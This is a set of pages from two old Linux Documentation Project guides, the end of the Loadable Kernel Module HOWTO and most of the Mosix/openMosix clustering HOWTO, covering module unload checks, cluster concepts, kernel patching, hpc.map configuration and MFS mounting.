In the original design, the LKM increments and decrements its use count to tell the module manager whether it is OK to unload it. For example, if it's a filesystem driver, it would increment the use count when someone mounts a filesystem of the type it drives, and decrement it at unmount time.

Now, there is a more flexible alternative. Your LKM can register a function that the module manager will call whenever it wants to know if it is OK to unload the module. If the function returns a true value, that means the LKM is busy and cannot be unloaded. If it returns a false value, the LKM is idle and can be unloaded. The module manager holds the big kernel lock from before calling the module-busy function until after its cleanup subroutine returns or sleeps, and unless you've done something odd, that should mean that your LKM cannot become busy between the time that you report "not busy" and the time you clean up.

So how do you register the module-busy function? By putting its address in the unfortunately named can_unload field in the module descriptor ("struct module"). The name is truly unfortunate because the boolean value it returns is the exact opposite of what "can unload" means: true if the module manager cannot unload the LKM.

The module manager ensures that it does not attempt to unload the module before its initialization subroutine has returned or sleeps, so you are safe in setting the can_unload field anywhere in the initialization subroutine except after a sleep.

Prev | Home | Next
Technical Details |  | Related Documentation


Related Documentation

Linux Loadable Kernel Module HOWTO
Prev Next

12. Related Documentation

For modules that are part of Linux (i.e. distributed with the base kernel), you can sometimes find documentation in the Documentation subdirectory of the Linux source code.

Many LKMs can be alternatively bound into the base kernel. If you do that, you will pass parameters to them via the kernel "command line," which in its most basic form means via a prompt at boot time. The BootPrompt HOWTO by Paul Gortmaker <Paul.Gortmaker@anu.edu.au> will help you with that. It is available from the Linux Documentation Project.

Don't forget that the source code of Linux and any LKM is always the documentation of last resort, and the most trustworthy.

Prev | Home | Next
Writing Your Own Loadable Kernel Module |  | Individual Modules


Maintenance Of This Document

Linux Loadable Kernel Module HOWTO
Prev Next

14. Maintenance Of This Document

This HOWTO is enthusiastically maintained by Bryan Henderson <bryanh@giraffe-data.com>. If you find something incorrect or incomplete or can't understand something, Bryan wants to know so maybe the next reader can be saved the trouble you had.

The source for this document is DocBook SGML, and is available from the Linux Documentation Project.

Prev | Home | Next
Individual Modules |  | History


History

Linux Loadable Kernel Module HOWTO
Prev Next

15. History

I have derived this (in 2001) from the HOWTO of the same name by Laurie Tischler, dated 1997. While I have kept all of the information from that original document (where it is still useful), I have rewritten the presentation entirely and have added a lot of other information. The original HOWTO's primary purpose was to document LKM parameters.

The original HOWTO was first released (Release 1.0) June 20, 1996, with a second release (1.1) October 20, 1996.

The first release of Bryan's rewrite was in June 2001.

Prev | Home | Next
Maintenance Of This Document |  | Copyright


Copyright

Linux Loadable Kernel Module HOWTO
Prev

16. Copyright

Here is Lauri Tischler's copyright notice from the original document from which this is derived:

This document is Copyright 1996© by Lauri Tischler. Permisson is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that this copyright notice is included exactly as in the original, and that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this document into another language, under the above conditions for modified versions.

Bryan Henderson, the current maintainer and contributing author of this document, licenses it under the same terms as above. His work is Copyright 2001©.

Prev | Home
History |


Credits

The Mosix HOWTO
Prev Next

Appendix B. Credits

Scot W. Stevenson

I have to thank Scot W. Stevenson for al the work he did on this HOWTO before I took over. He made a great start for this document.

Assaf Spanier

worked together with Scott in drafting the layout and the chapters of this howto. and now promised to help me out with this document.

Matthias Rechenburg

Matthias Rechenburg should be thanked for the work he did on Mosixview and the accompaning documentation , which we included in this howto.

Jean-David Marrow

is the author of Clump/OS, he contributed the documentation on his distribution to the Howto.

Prev | Home | Next
Supporting Mosix |  | GNU Free Documentation License


Administrating openMosix

The Mosix HOWTO
Prev Next

Chapter 8. Administrating openMosix

Table of Contents
8.1. Basic Administration
8.2. Configuration
8.3. Informations about the other nodes
8.4. Additional Informations about processes
8.5. the userspace-tools
Prev | Home | Next
Expert Mode |  | Basic Administration


ClumpOS

The Mosix HOWTO
Prev Next

Chapter 7. ClumpOS

Table of Contents
7.1. What is Clump/OS
7.2. How does it work
7.3. Requirements
7.4. Getting Started
7.5. Problems ?
7.6. Expert Mode
Prev | Home | Next
DSH, Distributed Shell |  | What is Clump/OS


Distribution specific installations

The Mosix HOWTO
Prev Next

Chapter 5. Distribution specific installations

Table of Contents
5.1. Installing Mosix
5.2. Getting Mosix
5.3. Getting OpenMosix
5.4. openMosix General Instructions
5.4.1. Kernel Compilation
5.4.2. hpc.map
5.4.3. MFS
5.5. RedHat
5.6. Suse 7.1 and Mosix
5.6.1. Versions Required
5.6.2. Installation
5.6.3. Setup
5.7. Debian and Mosix
5.8. Other distributions
Prev | Home | Next
Planning your cluster |  | Installing Mosix


Features of Mosix

The Mosix HOWTO
Prev Next

Chapter 3. Features of Mosix

Table of Contents
3.1. Pros of Mosix
3.2. Cons of Mosix
3.3. Extra Features in OpenMosix
Prev | Home | Next
Work in Progress |  | Pros of Mosix


GNU Free Documentation License

The Mosix HOWTO
Prev Next

Appendix C. GNU Free Documentation License

Table of Contents
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
Credits |  | PREAMBLE


Hints and Tips

The Mosix HOWTO
Prev Next

Chapter 13. Hints and Tips

Table of Contents
13.1. Locked Processes
13.2. Choosing your processes
Prev | Home | Next
qps |  | Locked Processes


The Mosix HOWTO

Kris Buytaert

buytaert@be.stone-it.com

Revision History
Revision v0.15 | 13 March 2002
Revision v0.13 | 18 Feb 2002
Revision ALPHA 0.03 | 09 October 2001
Table of Contents
1. Introduction
1.1. Introduction
1.2. Disclaimer
1.3. Distribution policy
1.4. New versions of this document
1.5. Feedback
2. So what is mosix Anyway ?
2.1. A very, very brief introduction to clustering
2.2. The story so far
2.3. Mosix in action: An example
2.4. Components
2.5. Work in Progress
3. Features of Mosix
3.1. Pros of Mosix
3.2. Cons of Mosix
3.3. Extra Features in OpenMosix
4. Requirements and Planning
4.1. Hardware requirements
4.2. Hardware Setup Guidelines
4.3. Software requirements
4.4. Planning your cluster
5. Distribution specific installations
5.1. Installing Mosix
5.2. Getting Mosix
5.3. Getting OpenMosix
5.4. openMosix General Instructions
5.5. RedHat
5.6. Suse 7.1 and Mosix
5.7. Debian and Mosix
5.8. Other distributions
6. Cluster Installation
6.1. Cluster Installations
6.2. Installation scripts [LUI, ALINKA]
6.3. The easy way: Automatic installation
6.4. The hard way: When scripts don't work
6.5. Kick Start Installations
6.6. DSH, Distributed Shell
7. ClumpOS
7.1. What is Clump/OS
7.2. How does it work
7.3. Requirements
7.4. Getting Started
7.5. Problems ?
7.6. Expert Mode
8. Administrating openMosix
8.1. Basic Administration
8.2. Configuration
8.3. Informations about the other nodes
8.4. Additional Informations about processes
8.5. the userspace-tools
9. Tuning Mosix
9.1. Optimising Mosix
9.2. Where to place your files
10. Special Cases
10.1. Laptops and PCMCIA Cards
10.2. Diskless nodes
10.3. Very large clusters
11. Common Problems
11.1. My processes won't migrate
11.2. setpe reports
11.3. I don`t see all my nodes
12. Other Programs
12.1. mexec
12.2. mosixview
12.3. mpi
12.4. mps
12.5. pmake
12.6. pvm
12.7. qps
13. Hints and Tips
13.1. Locked Processes
13.2. Choosing your processes
A. More Info
A.1. Further Reading
A.2. Links
A.3. Supporting Mosix
B. Credits
C. GNU Free Documentation License
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents
Next
Introduction


Cluster Installation

The Mosix HOWTO
Prev Next

Chapter 6. Cluster Installation

Table of Contents
6.1. Cluster Installations
6.2. Installation scripts [LUI, ALINKA]
6.3. The easy way: Automatic installation
6.4. The hard way: When scripts don't work
6.5. Kick Start Installations
6.6. DSH, Distributed Shell
Prev | Home | Next
Other distributions |  | Cluster Installations


Introduction

The Mosix HOWTO
Prev Next

Chapter 1. Introduction

Table of Contents
1.1. Introduction
1.2. Disclaimer
1.3. Distribution policy
1.4. New versions of this document
1.5. Feedback
Prev | Home | Next
The Mosix HOWTO |  | Introduction


More Info

The Mosix HOWTO
Prev Next

Appendix A. More Info

Table of Contents
A.1. Further Reading
A.2. Links
A.3. Supporting Mosix
Prev | Home | Next
Choosing your processes |  | Further Reading


Common Problems

The Mosix HOWTO
Prev Next

Chapter 11. Common Problems

Table of Contents
11.1. My processes won't migrate
11.2. setpe reports
11.3. I don`t see all my nodes
Prev | Home | Next
Very large clusters |  | My processes won't migrate


Other Programs

The Mosix HOWTO
Prev Next

Chapter 12. Other Programs

Table of Contents
12.1. mexec
12.2. mosixview
12.2.1. Requirements for Mosixview
12.2.2. Documentation on MOSIXVIEW
12.2.3. Installation of the RPM-distribution
12.2.4. the main window
12.2.5. the configuration-window
12.2.6. the migrator-window
12.2.7. managing processes from remote
12.2.8. advanced-execution
12.2.9. the host-chooser
12.2.10. the MOSIXVIEW-client
12.2.11. the MOSIXCOLLECTOR
12.2.12. MOSIXLOAD
12.2.13. MOSIXMEM
12.2.14. MosixHistory
12.3. mpi
12.4. mps
12.5. pmake
12.6. pvm
12.7. qps
Prev | Home | Next
I don`t see all my nodes |  | mexec


Requirements and Planning

The Mosix HOWTO
Prev Next

Chapter 4. Requirements and Planning

Table of Contents
4.1. Hardware requirements
4.2. Hardware Setup Guidelines
4.3. Software requirements
4.4. Planning your cluster
Prev | Home | Next
Extra Features in OpenMosix |  | Hardware requirements


Special Cases

The Mosix HOWTO
Prev Next

Chapter 10. Special Cases

Table of Contents
10.1. Laptops and PCMCIA Cards
10.2. Diskless nodes
10.3. Very large clusters
Prev | Home | Next
Where to place your files |  | Laptops and PCMCIA Cards


Tuning Mosix

The Mosix HOWTO
Prev Next

Chapter 9. Tuning Mosix

Table of Contents
9.1. Optimising Mosix
9.2. Where to place your files
Prev | Home | Next
the userspace-tools |  | Optimising Mosix


So what is mosix Anyway ?

The Mosix HOWTO
Prev Next

Chapter 2. So what is mosix Anyway ?

Table of Contents
2.1. A very, very brief introduction to clustering
2.2. The story so far
2.2.1. Historical Development
2.2.2. Current state
2.2.3. openMosix
2.3. Mosix in action: An example
2.4. Components
2.4.1. Process migration
2.4.2. The Mosix File System (MFS)
2.4.3. Direct File System Access (DFSA)
2.5. Work in Progress
2.5.1. Network RAM
2.5.2. Migratable sockets
2.5.3. High availablility
Prev | Home | Next
Feedback |  | A very, very brief introduction to clustering


Introduction

The Mosix HOWTO
Prev Chapter 1. Introduction Next

1.1. Introduction

This document gives a brief description to Mosix, a software package that turns a network of GNU/Linux computers into a computer cluster. Along the way, some background to parallel processing is given, as well as a brief introduction to programs that make special use of Mosix's capabilities. The HOWTO expands on the documentation as it provides more background information and discusses the quirks of various distributions.

Kris Buytaert got involved in this piece of work when Scot Stevenson was looking for somebody to take over the Job, this was during February 2002 The first new versions of this HOWTO are rewrites of the Mosix Howto draft and the Suse Mosix HOWTO

("FEHLT", in case you are wondering, is German for "missing"). You will notice that some of the headings are not as serious as they could be. Scot had planned to write the HOWTO in a slightly lighter style, as the world (and even the part of the world with a burping penguin as a mascot) is full of technical literature that is deadly. Therefore some parts still have these comments

Initially this was a draft version of a text intended to help Linux users with SuSE distributions install the Mosix cluster computer package - in other words, to turn networked computers running SuSE Linux into a Mosix cluster. This HOWTO is written on the basis of a monkey-see, monkey-do knowledge of Mosix, not with any deep insight into the workings of the system.

The original text did not cover Mosix installations based on the 2.4.* kernel. Note that SuSE 7.1 does not ship with the vanilla sources to that kernel series.

Prev | Home | Next
Introduction | Up | Disclaimer


Disclaimer

The Mosix HOWTO
Prev Chapter 1. Introduction Next

1.2. Disclaimer

Use the information in this document at your own risk. I disavow potential liability for the contents of this document. Use of th concepts, examples, and/or other content of this document is ent at your own risk.

All copyrights are owned by their owners, unless specifically no otherwise. Use of a term in this document should not be regarde affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

Prev | Home | Next
Introduction | Up | Distribution policy


Distribution policy

The Mosix HOWTO
Prev Chapter 1. Introduction Next

1.3. Distribution policy

Copyright (c) 2002 by Kris Buytaert and Scot W. Stevenson. This document may be distributed under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the appendix entitled "GNU Free Documentation License".

Prev | Home | Next
Disclaimer | Up | New versions of this document


New versions of this document

The Mosix HOWTO
Prev Chapter 1. Introduction Next

1.4. New versions of this document

New versions of this document can be found on the web pages of the Linux Documentation Project at http://www.linuxdoc.org in the appropriate subfolder. Changes to this document will usually be discussed on the Mosix Mailing List. See the Mosix Hompage http://www.mosix.org for details.

Prev | Home | Next
Distribution policy | Up | Feedback


Feedback

The Mosix HOWTO
Prev Chapter 1. Introduction Next

1.5. Feedback

Currently this HOWTO is being maintained by Kris Buytaert, please do send questions about Mosix to the mailing list.

Please send comments, questions, bugfixes, suggestions, and of course praise about this document to the author.

If you have a technical question about Mosix itself, please post them on the Mosix mailing list. Do not repeat not send them to the Scott who doesn't know squat about the internals, finds anything written in C++ terribly confusing, and learned Python mainly because the rat on the book cover was so cute.

Prev | Home | Next
New versions of this document | Up | So what is mosix Anyway ?


A very, very brief introduction to clustering

The Mosix HOWTO
Prev Chapter 2. So what is mosix Anyway ? Next

2.1. A very, very brief introduction to clustering

Most of the time, your computer is bored. Start a program like xload or top that monitors your system use, and you will probably find that your processor load is not even hitting the 1.0 mark. If you have two or more computers, chances are that at any given time, at least one of them is doing nothing. Unfortunately, when you really do need CPU power - during a C++ compile, or coding Ogg Vobis music files - you need a lot of it at once. The idea behind clustering is to spread these loads among all available computers, using the resources that are free on other machines.

The basic unit of a cluster is a single computer, also called a "node". Clusters can grow in size - they "scale" - by adding more machines. A cluster as a whole will be more powerful the faster the individual computers and the faster their connection speeds are. In addition, the operating system of the cluster must make the best use of the available hardware in response to changing conditions. This becomes more of a challenge if the cluster is composed of different hardware types (a "heterogenous" cluster), if the configuration of the cluster changes unpredictably (machines joining and leaving the cluster), and the loads cannot be predicted ahead of time.

2.1.1. A very, very brief introduction to clustering

2.1.1.1. HPC vs Failover vs Loadbalancing

Basically there are 3 types of clusters, the most deployed ones are probably the Failover Cluster and the Loadbalancing Cluster, HIGH Performance Computing.

Failover Clusters consist of 2 or more network connected computers with a separate heartbeat connection between the 2 hosts. The Heartbeat connection between the 2 machines is being used to monitor wether all the services are still in use, as soon as a service on one machine breaks down the other machine tries to take over.

With loadbalancing clusters the concept is that when a request for say a webserver comes in, the cluster checks wich machine is the lease busy and then sends the request to that machine. Actually most of the times a Loadbalancing cluster is also Failover cluster but with the extra load balancing functionality and often with more nodes.

The last variation of clustering is the High Performance Computing Cluster, this machine is being configured specially to give data centers that require extreme performance the performance they need. Beowulfs have been developed especially to give research facilities the computing speed they need. These kind of clusters also have some loadbalancing features, they try to spread different processes to more machines in order to gain perfomance. But what it mainly comes down to in this situation is that a process is being parralellised and that routines that can be ran separately will be spread on different machines in stead of having to wait till they get done one after another.

2.1.1.2. Mainframes and supercomputers vs. clusters

Traditionally Mainframes and Supercomputers have only been built by a selected number of vendors, a company or organisation that required the performance of such a machine had to have a hughe budget available for it`s Supercomputer. Lot`s of universities could not afford them the costs of a Supercomputer, therefore other alternatives were being researched by them. The concept of a cluster was born when people first tried to spread different jobs over more computers and then gather back the data those jobs produced. With cheaper and more common hardware available to everybody, results similar to real Supercomputers were only to be dreamt of during the first years, but as the pc platform developed further, the performance gap between a Supercomputer and a cluster of multiple personal computres became smaller.

2.1.1.3. Cluster models [(N)UMA, DSM, PVM/MPI]

There are different ways of doing parallel processing, (N)UMA, DSM , PVM, MPI are all different kinds of Parallel processing schemes.

(N)uma , (Non-)Uniform Memory Access machines for example have shared access to the memory where they can execute their code. In the Linux kernel there is a NUMA implementation that varies the memory acces times for different regions of memory. It then is the kernel's task to use the memory that is the closest to the cpu it is using.

DSM

PVM / MPI are the tools that are most commonly being used when people talk about GNU/Linux based Beowulfs. MPI stands for Message Passing Interface it is the open standard specification for message passing libraries. MPICH is one of the most used implementations of MPI, next to MPICH you also can use LAM , another implementation of MPI based on the free reference implementation of the libraries.

PVM or Parallel Virtual Machine is another cousin of MPI that is also quite often being used as a tool to create a beowulf. PVM lives in userspace so no special kernel modifications are required, basically each user with enough rights can run PVM.

2.1.1.4. Mosix's role

The Mosix software packages turns networked computers running GNU/Linux into a cluster. It automatically balances the load between different nodes of the cluster, and nodes can join or leave the running cluster without disruption. The load is spread out among nodes according to their connection and CPU speeds.

Since Mosix is part of the kernel and maintains full compatibility with normal Linux, a user's programs, files, and other resources will all work as before with no changes necessary. The casual user will not notice the difference between Linux and Mosix. To him, the whole cluster will function as one (fast) GNU/Linux system.

Prev | Home | Next
So what is mosix Anyway ? | Up | The story so far


The story so far

The Mosix HOWTO
Prev Chapter 2. So what is mosix Anyway ? Next

2.2. The story so far

2.2.1. Historical Development

The name "Mosix" comes from FEHLT. The 6th incarnation of Mosix was developed for BSD/OS. GNU/Linux was chosen as a development platform for the 7th incarnation in DATE_FEHLT because of

2.2.2. Current state

Like most active Open Source programs, Mosix's rate of change tends to outstrip the the follower's ability to keep the documentation up to date. See the Mosix Home Page for current news. The following relates to Mosix VERSION FEHLT for the Linux kernel FEHLT as of DATUM FEHLT:

2.2.3. openMosix

openMosix is in addition to whatever you find at mosix.org and in full appreciation and respect for Prof. Barak's leadership in the outstanding Mosix project .

Moshe Bar has been involved for a number of years with the Mosix project (www.mosix.com) and was co-project manager of the Mosix project and general manager of the commercial Mosix company.

After a difference of opinions on the commercial future of Mosix, he has started a new clustering company - Qlusters, Inc. - and Prof. Barak has decided not to participate for the moment in this venture (although he did seriously consider joining) and held long running negotiations with investors. It appears that Mosix is not any longer supported openly as a GPL project. Because there is a significant user base out there (about 1000 installations world-wide), Moshe Bar has decided to continue the development and support of the Mosix project under a new name, openMosix under the full GPL2 license. Whatever code in openMosix comes from the old Mosix project is Copyright 2002 by Amnon Bark. All the new code is copyright 2002 by Moshe Bar.

openMosix is a Linux-kernel patch which provides full compatibility with standard Linux for IA32-compatible platforms. The internal load-balancing algorithm transparently migrates processes to other cluster members. The advantage is a better load-sharing between the nodes. The cluster itself tries to optimize utilization at any time (of course the sysadmin can affect these automatic load-balacing by manuel configuration during runtime).

This transparent process-migration feature make the whole cluster look like a BIG SMP-system with as many processors as available cluster-nodes (of course multiplicated with 2 for dual-processor systems). openMosix also provides a powerful mized for HPC-applications, which unlike NFS provides cache consistency, time stamp consistency and link consistency.

There could (and will) be significant changes in the architecure of the future openMosix versions. New concepts about auto-configuration, node-discovery and new user-land tools are discussed in the openMosix-mailinglist.

To approach standardization and future compatibility the proc-interface changes from /proc/mosix to /proc/hpc and the /etc/mosix.map was exchanged to /etc/hpc.map. Adapted commandline user-space tools for openMosix are already available on the web-page of the project and from the current version (1.1) Mosixview supports openMosix as well.

The hpc.map will be replaced in the future with a node-autodiscovery system.

openMosix is supported by various competent people (see www.openMosix.org) working together around the world. The gain of the project is to create a standardize clustering-environent for all kinds of HPC-applications.

openMosix has also a project web-page at http://openMosix.sourceforge.net with a CVS tree and mailinglist for the developer and user.

Prev | Home | Next
A very, very brief introduction to clustering | Up | Mosix in action: An example


Mosix in action: An example

The Mosix HOWTO
Prev Chapter 2. So what is mosix Anyway ? Next

2.3. Mosix in action: An example

Mosix clusters can take various forms. To demonstrate, let's assume you are a student and share a dorm room with a rich computer science guy, with whom you have linked computers to form a Mosix cluster. Let's also assume you are currently converting music files from your CDs to Ogg Vobis for your private use, which is legal in your country. Your roommate is working on a project in C++ that he says will bring World Peace. However, at just this moment he is in the bathroom doing unspeakable things, and his computer is idle.

So when you start a program called FEHLT to convert Bach's .... from .wav to .ogg format, the Mosix routines on your machine compare the load on both nodes and decide that things will go faster if that process is sent from your Pentium-233 to his Athlon XP. This happens automatically - you just type or click your commands as you would if you were on a standalone machine. All you notice is that when you start two more coding runs, things go a lot faster, and the response time doesn't go down.

Now while you're still typing ...., your roommate comes back, mumbling something about red chile peppers in cafeteria food. He resumes his tests, using a program called 'pmake', a version of 'make' optimized for parallel execution. Whatever he's doing, it uses up so much CPU time that Mosix even starts to send subprocesses to your machine to balance the load.

This setup is called *single-pool*: All computers are used as a single cluster. The advantage/disadvantage of this is that you computer is part of the pool: Your stuff will run on other computers, but their stuff will run on your's, too.

Prev | Home | Next
The story so far | Up | Components


Components

The Mosix HOWTO
Prev Chapter 2. So what is mosix Anyway ? Next

2.4. Components

2.4.1. Process migration

2.4.2. The Mosix File System (MFS)

2.4.3. Direct File System Access (DFSA)

Both Mosix and openMosix provide a cluster-wide filesystem (MFS) with the DFSA-option (direct filesystem access). It provides access to all local and remote filesystems of the nodes in an Mosix or openMosix cluster.

Prev | Home | Next
Mosix in action: An example | Up | Work in Progress


Work in Progress

The Mosix HOWTO
Prev Chapter 2. So what is mosix Anyway ? Next

2.5. Work in Progress

2.5.1. Network RAM

2.5.2. Migratable sockets

2.5.3. High availablility

Prev | Home | Next
Components | Up | Features of Mosix


Pros of Mosix

The Mosix HOWTO
Prev Chapter 3. Features of Mosix Next

3.1. Pros of Mosix

No extra packages required No Code changes required

Prev | Home | Next
Features of Mosix | Up | Cons of Mosix


Cons of Mosix

The Mosix HOWTO
Prev Chapter 3. Features of Mosix Next

3.2. Cons of Mosix

Kernel Dependent Not Everything works this way Shared memory issues

Issues with Multiple Threads not gaining performance.

You won't gain performance when running 1 single process such as your Browser on a Mosix Cluster , the process won't spread itselve over the cluster. Except of course your process wil migrate to a more performant machine.

Prev | Home | Next
Pros of Mosix | Up | Extra Features in OpenMosix


Extra Features in OpenMosix

The Mosix HOWTO
Prev Chapter 3. Features of Mosix Next

3.3. Extra Features in OpenMosix

Prev | Home | Next
Cons of Mosix | Up | Requirements and Planning


Hardware requirements

The Mosix HOWTO
Prev Chapter 4. Requirements and Planning Next

4.1. Hardware requirements

Installing a basic clusters requires at least 2 machines with network connected. Either using a crosscable between the two network cards or a switch or hub. Off course the faster your networkcards the easier you will get better performance for your cluster. These days Fast Ethernet is standard, putting multiple ports in a machine isn`t that difficult, but make sure to connect them through other physical networks in order to gain the speed you want. Gigabit ethernet is getting cheaper any day now but I suggest that you don`t rush to the shop spending your money before you have actually tested your setup with multiple 100Mbit cards and noticed that you really do need the extra network capacity.

Prev | Home | Next
Requirements and Planning | Up | Hardware Setup Guidelines


Hardware Setup Guidelines

The Mosix HOWTO
Prev Chapter 4. Requirements and Planning Next

4.2. Hardware Setup Guidelines

Setting up a big cluster requires some thinking to be done, where are you going to put the machines, not under a table somehwere or in the middle of your office. It`s ok if you just want to do some small tests , but if you are planning to deploy a N node cluster you will have to make sure that the environment that will hold this machine is capable of doing so. I`m talking about preparing one or more 19" racks to host the machines, configure the appropirate network topology, either straight, single connected or even a 1 to 1 cross connected network between al your nodes. You will also need to make sure that there is enough power to support such a range of machines. That your airconditioning system supports the load and that in case of powerfailure your UPS can cleanly shut down al the required systems. You might want to invest in a KVM Switch in order to fasciliate access to the machines consoles. But even if you don`t have the number of nodes that justify these investments, make sure that you can always easily access the different nodes, you never know when you have to replace the fan or a harddisk of a machine in trouble. If that means that you have to unload a stack of machines to reach the bottom one hence shutting down your cluster you are in trouble.

Prev | Home | Next
Hardware requirements | Up | Software requirements


Software requirements

The Mosix HOWTO
Prev Chapter 4. Requirements and Planning Next

4.3. Software requirements

The systems we plan to use will need a basic Linux installation of your choice, RedHat , Suse , Debian or another distribution, it doesn`t really matter which one. What does matter is that the kernel is at least on 2.4 level, and that your networkcards are configured correctly, next to that you`ll need a healthy space of swap.

Prev | Home | Next
Hardware Setup Guidelines | Up | Planning your cluster


Planning your cluster

The Mosix HOWTO
Prev Chapter 4. Requirements and Planning Next

4.4. Planning your cluster

How to configure MOSIX clusters with a pool of servers and a set of (personal) workstations:

  • Single-pool = all the servers and workstations are used as a single cluster: install the same "mosix.map" in all the computers, with the IP addresses of all the computers. Advantage/disadvantage: your workstation is part of the pool.

  • Server-pool = servers are shared while workstations are not part of the cluster: install the same "mosix.map" in all the servers, with the IP addresses of only the servers. Advantage/disadvantage: remote processes will not move to your workstation. You need to login to one of the servers to use the cluster.

  • Adaptive-pool = servers are shared while workstations join or leave the cluster, e.g. from 5PM to 8AM: install the same "mosix.map" in all the computers, with the IP addresses of all the servers and workstations, then use a simple script, to decide whether MOSIX should be activated or deactivated. Advantage/disadvantage: remote processes can use your workstation when you are not using it.

Prev | Home | Next
Software requirements | Up | Distribution specific installations


Installing Mosix

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.1. Installing Mosix

This chapter deals with installing Mosix and OpenMosix on different distributions. It won't be an exhaustive list of all the possible combinations. However thoughout the chapter you should find enough information on installing Mosix in your environment.

Techniques for installing multiple machines with Mosix will be discussed in the next chapter.

Prev | Home | Next
Distribution specific installations | Up | Getting Mosix


Getting Mosix

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.2. Getting Mosix

Prev | Home | Next
Installing Mosix | Up | Getting OpenMosix


Getting OpenMosix

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.3. Getting OpenMosix

Prev | Home | Next
Getting Mosix | Up | openMosix General Instructions


openMosix General Instructions

The Mosix HOWTO
Prev Chapter 5. Distribution specific installations Next

5.4. openMosix General Instructions

5.4.1. Kernel Compilation

Always use pure vanilla kernel-sources from e.g. www.kernel.org to compile an openMosix kernel! Be sure to use the right openMosix version dependend on the kernel-version. Do not use the kernel that comes whith any linux-distribution; it won't work.

Download the actual version of openMosix and untar it in your kernel-source directory (e.g. /usr/src/linux-2.4.16). If your kernel-source directory is other than "/usr/src/linux-[version_number]" at least the creation of a symbolic link to "/usr/src/linux-[version_number]" is required. Now apply the patch using the patch utility:
patch -Np1 < openMosix1.5.2moshe
This command displays now a list of patched files from the kernel-sources. Enable the openMosix-options in the kernel-configuration e.g.
...
CONFIG_MOSIX=y
# CONFIG_MOSIX_TOPOLOGY is not set
CONFIG_MOSIX_UDB=y
# CONFIG_MOSIX_DEBUG is not set
# CONFIG_MOSIX_CHEAT_MIGSELF is not set
CONFIG_MOSIX_WEEEEEEEEE=y
CONFIG_MOSIX_DIAG=y
CONFIG_MOSIX_SECUREPORTS=y
CONFIG_MOSIX_DISCLOSURE=3
CONFIG_QKERNEL_EXT=y
CONFIG_MOSIX_DFSA=y
CONFIG_MOSIX_FS=y
CONFIG_MOSIX_PIPE_EXCEPTIONS=y
CONFIG_QOS_JID=y
...
and compile it with:
make dep bzImage modules modules_install
After compilation install the new kernel with the openMosix options within you boot-loader e.g. insert an entry for the new kernel in /etc/lilo.conf and run lilo after that.

Reboot and your OpenMosx-cluster(node) is up!

5.4.2. hpc.map

Syntax of the /etc/hpc.map file Before starting openMosix there has to be a /etc/hpc.map configuration file (on each node) which must be equal on each node. The hpc.map contains three space seperated fields:
openMosix-Node_ID               IP-Adress(or hostname)          Range-size
An example hpc.map could look like this:
1       node1   1
2       node2   1
3       node3   1
4       node4   1
or
1       192.168.1.1     1
2       192.168.1.2     1
3       192.168.1.3     1
4       192.168.1.4     1
or with the help of the range-size these both exampels are equal with:
1       192.168.1.1     4
openMosix "counts-up" the last byte of the ip-adress of the node according to its openMosix-ID. (if you use a range-size greater than 1 you have to use ip-adresses instead of hostnames)

If a node has more than one network-interfaces it can be configured with the ALIAS option in the range-size field (which is equal to set the range-size to 0) e.g.
1       192.168.1.1     1
2       192.168.1.2     1
3       192.168.1.3     1
4       192.168.1.4     1
4       192.168.10.10   ALIAS
Here the node with the openMosix-ID 4 has two network-interfaces (192.168.1.4 + 192.168.10.10) which are both visible to openMosix.

Always be sure to run the same openMosix version AND configuration on each of your Cluster nodes!

Start openMosix with the "setpe" utility on each node : setpe -w -f /etc/hpc.map Execute this command (which will be described later on in this howto) on every node in your openMosix cluster. Installation finished now, the cluster is up and running :)

5.4.3. MFS

At first the CONFIG_MOSIX_FS option in the kernel configuration has to be enabled. If the current kernel was compiled without this option recompilation with this option enabled is required. Also the UIDs and GUIDs in the cluster must be equivalent. The CONFIG_MOSIX_DFSA option in the kernel is optional but of course required if DFSA should be used. To mount MFS on the cluster there has to be an additional fstab-entry on each nodes /etc/fstab.

for DFSA enabled:
mfs_mnt         /mfs            mfs     dfsa=1          0 0
for DFSA disabled:
mfs_mnt          /mfs           mfs     dfsa=0          0 0
the syntax of this fstab-entry is:
[device_name]           [mount_point]   mfs     defaults        0 0
After mounting the /mfs mount-point on each node, each nodes filesystem is accessable through the /mfs/[openMosix_ID]/ directories.

With the help of some symbolic links all cluster-nodes can access the same data e.g. /work on node1
on node2 :      ln -s /mfs/1/work /work
on node3 :      ln -s /mfs/1/work /work
on node3 :      ln -s /mfs/1/work /work
...
Now every node can read+write from and to /work !

The following special files are excluded from the MFS:

the /proc directory
special files which are not regular-files, directories or symbolic links e.g. /dev/hda1

Creating links like:
ln -s /mfs/1/mfs/1/usr
or
ln -s /mfs/1/mfs/3/usr
is invalid.

The following system calls are supported without sending the migrated process (which executes this call on its home (remote) node) going back to its home node:

